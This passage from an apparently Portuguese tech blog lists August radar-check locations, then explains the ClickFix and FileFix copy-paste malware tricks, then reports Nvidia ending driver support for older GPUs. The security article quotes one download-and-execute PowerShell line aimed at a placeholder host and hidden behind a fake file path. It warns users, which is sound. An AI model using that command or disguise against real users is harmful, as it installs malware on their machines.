19/Ago – 08h30/12h30 – E.N. 10 – Km 125,3 – Alhandra (sentido Sobralinho-Alhandra)
20/Ago – 09h00/17h00 – Av. Marginal – Km 13,3 – Parede
21/Ago – 08h30/12h30 – E.N. 10 – Km 137 – Sta Iria de Azóia
21/Ago – 14h00/18h00 – Rua António Sérgio – Sto António dos Cavaleiros
26/Ago – 14h00/17h30 – A2 – Ponte 25 de Abril
28/Ago – 09h00/12h00 – Av. Conde Castro Guimarães – Amadora
28/Ago – 13h30/16h00 – Estrada dos Salgados – Amadora
29/Ago – 14h00/17h30 – Rua Cidade de Praga – Lisboa

MADEIRA
07/Ago – 08h30/11h30 – Estrada de Santa Catarina – Santa Cruz
14/Ago – 10h00/11h00 – Rua 5 de outubro, Funchal
15/Ago – 08h00/12h30 – VR-1 Km 6.0 Oeste-Este – Quinta Grande
15/Ago – 10h00/11h00 – Av. Infante Santo – Funchal
16/Ago – 09h00/13h00 – Estrada da Queimada – Água de Pena – Machico
21/Ago – 10h00/11h00 – Estrada Monumental – Entre o Fórum e a Rotunda do Enforcado – Funchal
22/Ago – 09h30/13h00 – VE 5 Sitio dos Moinhos, Faial – Santana
27/Ago – 17h00/12h30 – Via Expresso 4 km 2 – Meia Légua – Ribeira Brava

PORTALEGRE
05/Ago – 17h30/19h30 – Av. Badajoz – Portalegre
07/Ago – 09h00/11h00 – Av. do Dia de Portugal – Elvas
14/Ago – 08h30/10h30 – Av. Extremadura Espanhola – Portalegre
19/Ago – 09h00/11h00 – E.N. 373 – Elvas
26/Ago – 08h00/10h00 – Av. Extremadura Espanhola – Portalegre
26/Ago – 09h00/11h00 – Av. Badajoz – Elvas

PORTO
01/Ago – 13h00/20h00 – Estr. Circunvalação, 9020 – Porto
04/Ago – 08h00/16h00 – Rua de Salgueiros, 635 – Vila Nova Gaia
06/Ago – 08h00/15h00 – Av. Dr. Mário Soares c/ Rua do Taralhão – Gondomar
08/Ago – 08h00/15h00 – Via Ardegães – Maia
12/Ago – 13h00/20h00 – Av. Dr. Antunes Guimarães, 325 – Matosinhos
14/Ago – 13h00/20h00 – E.M. 556 c/ Rua Gabriel Cardoso Miranda – Santo Tirso
18/Ago – 08h00/16h00 – Av. D. João II c/ Rua Dr. Alfredo Faria Magalhães – Oliveira do Douro
20/Ago – 08h00/15h00 – Rua Gomes Amorim c/ R. de Escudeiro – Póvoa de Varzim
22/Ago – 08h00/15h00 – Estr. Circunvalação, 13964 – Matosinhos
26/Ago – 13h00/20h00 – Rua Conselheiro Costa Aroso, 913 – Maia
28/Ago – 13h00/20h00 – Rua D. Pedro IV, Susão – Valongo
29/Ago – 13h00/20h00 – Av. Montevideu 308 – Porto

SANTARÉM
01/Ago – 08h00/12h00 – E.N. 110 – Alvito – Tomar
06/Ago – 08h00/12h00 – Av. Eng. Ferreira Mesquita – Entroncamento
07/Ago – 08h30/12h30 – Rua do Progresso – Cartaxo
13/Ago – 08h00/12h00 – Rua Dr. Armando Reis Vieira – Ourém
22/Ago – 08h00/12h00 – E.N. da Barreira Alva – Torres Novas
25/Ago – 08h00/12h00 – Circlar Urbana D. Luis I – Santarém
27/Ago – 08h00/12h00 – Av. D. Manuel I – Abrantes

SETÚBAL
04/Ago – 09h00 – Circular Externa – Montijo
11/Ago – 08h30 – Av. Escola dos Fuzileiros Navais – Barreiro
19/Ago – 08h30 – Av. dos Ciprestes EN10 Km 42.3 – Setúbal
21/Ago – 09h00 – Av. Arsenal do Alfeite, sentido Corroios – Almada
29/Ago – 10h00 – Av. Mar corroios – Seixal

VILA REAL
05/Ago – 08h00/13h00 – Rua Manuel dos Santos Gomes – Vila Real
08/Ago – 08h30/12h00 – Av. Bracara Augusta – Chaves
08/Ago – 08h00/13h00 – Rua Vasco Sameiro – Vila Real
11/Ago – 16h00/20h00 – Av. da Noruega – Vila Real
13/Ago – 14h00/17h30 – Rua D. António de Medeiros – Chaves

VIANA DO CASTELO
05/Ago – 09h30/12h30 – Av. do Meio – Areosa
13/Ago – 10h00/13h00 – Av. Paulo VI – Darque
23/Ago – 10h00/13h00 – Av. 25 de Abril – Viana do Castelo
25/Ago – 10h00/13h00 – Rua Agostinho José Taveira – Ponte de Lima
29/Ago – 20h30/23h30 – Estrada da Papanata – Viana do Castelo

VISEU
07/Ago – 08h00/11h00 – Av. Defensores do Douro – Lamego
08/Ago – 08h00/11h00 – Av. da Europa – Viseu
21/Ago – 16h00/19h00 – Av. Dom Egas Moniz – Lamego
22/Ago – 08h00/11h00 – Av. Cidade de Salamanca – Viseu

[Pela Estrada Fora]

As técnicas ClickFix e FileFix tentam enganar utilizadores de forma a que instalem inadvertidamente malware nos seus computadores via "copy-paste".

Uma nova técnica de engenharia social chamada ClickFix está a ser usada para enganar utilizadores e levá-los a executar código malicioso nos seus próprios computadores. O ataque começa com um site fraudulento que apresenta uma janela falsa, muitas vezes disfarçada de CAPTCHA. Ao clicar, o site copia código malicioso para a área de transferência do utilizador.

O passo seguinte consiste em convencer a vítima a colar esse código no terminal de linha de comandos do sistema, como o Windows Run. O processo é apresentado como sendo apenas mais um passo para verificar que são humanos, mas na verdade estão eles próprios a infectar as suas máquinas, sendo que na maioria dos casos o código copiado consiste em scripts PowerShell maliciosos, concebido para descarregar e instalar malware.
Se o utilizador cair na armadilha, o código inicia uma cadeia de acções no sistema: descarrega ficheiros adicionais, instala o malware, e regista-se para ser executado automaticamente a cada arranque, garantindo persistência mesmo após um reboot. Tudo isto pode acontecer sem que a vítima perceba o que fez, como demonstrado no vídeo que se segue.


Depois do ClickFix, surgiu agora o FileFix – uma variação da mesma táctica que em vez da linha de comandos usa o explorador de ficheiros como alvo. Esta alteração faz com que o processo se torne mais simples e mais perigoso. Mmuitos utilizadores poderão recear abrir a linha de comandos e considerar essa operação suspeita (e com toda a razão) - mas poderão achar banal e seguro fazer um copy paste para o explorador de ficheiros. O problema é que o conteúdo copiado parece uma comum localização de ficheiro, mas na realidade inclui um comando PowerShell malicioso. Quando o utilizador cola o conteúdo no Explorador, o comando é executado silenciosamente, instalando malware no sistema sem que a vítima perceba.

Exemplo do comando malicioso copiado, que no File Explorer aparece como sendo algo normal.
Powershell.exe -c "iwr malicious[.]site/mal.jpg|iex"
#
C:\\Organization\\Internal\\Drive\\Business-RFP.pdf
Assim como no ClickFix, tudo começa com um site comprometido que usa JavaScript para injectar este código na área de transferência. Depois, é o próprio utilizador que, ao seguir as instruções apresentadas, cola esse código fora do browser - neste caso, no Explorador de Ficheiros - permitindo a execução remota de malware como o AsyncRAT, Skuld Stealer, Lumma Stealer, DanaBot, entre outros.

Apesar de parecerem ataques simples, estas técnicas podem dar aos atacantes controlo total sobre o sistema, acesso a dados sensíveis e persistência prolongada no dispositivo comprometido. Como tal, é essencial tratar com grande suspeita qualquer sequência de instruções que pela para os utilizadores fazerem qualquer tipo de "copy-paste", particularmente para locais fora do browser. Para utilizadores mais vulneráveis, poderá também ser conveniente bloquear o acesso automático do browser à area de transferência, inviabilizando ataques deste tipo.

Nvidia vai assegurar os drivers para Windows 10 até Outubro de 2026, mas começa a dizer adeus às placas GTX 10xx e anteriores já este ano.

A Nvidia anunciou que vai deixar de lançar actualizações para GPUs das séries GeForce GTX 9xx e 10xx a partir de Outubro de 2025. Isso inclui placas populares como a GTX 1060, que apesar da idade, ainda são muito usadas em PCs de gaming. A decisão afecta os chips baseados nas arquiteturas Maxwell, Pascal e Volta.

Além disso, o suporte para drivers no Windows 10 será descontinuado em Outubro de 2026. Esta data prolonga o uso do Windows 10 por ano após o fim do suporte oficial da Microsoft, dando algum conforto aos utilizadores que estiverem a pensar tirar partido das actualizações de segurança prolongadas (ESU). A partir dessa altura, apenas o Windows 11 continuará a receber novos drivers para GPUs Nvidia, incluindo as mais recentes das séries RTX 40 e 50. Mesmo após o fim das actualizações Game Ready, a Nvidia promete lançar correcções de segurança trimestrais para as placas afectadas até Outubro de 2028. Estas actualizações não melhorarão o desempenho em jogos novos, mas garantem alguma protecção para quem se mantiver nesses GPUs.

A empresa já tinha dado sinais de que esta mudança se aproximava, ao declarar em Janeiro que o suporte CUDA para estas arquitecturas estava "concluído". Esta será a primeira vez desde 2021 que a Nvidia abandona oficialmente GPUs mais antigos. E este fim de suporte de placas gráficas, a par do fim do Windows 10, irá pressionar muitos gamers a actualizarem as suas máquinas - segundo dados do Steam, o Wndows 10 ainda continua a ser usado por mais de um terço dos gamers que usam a plataforma.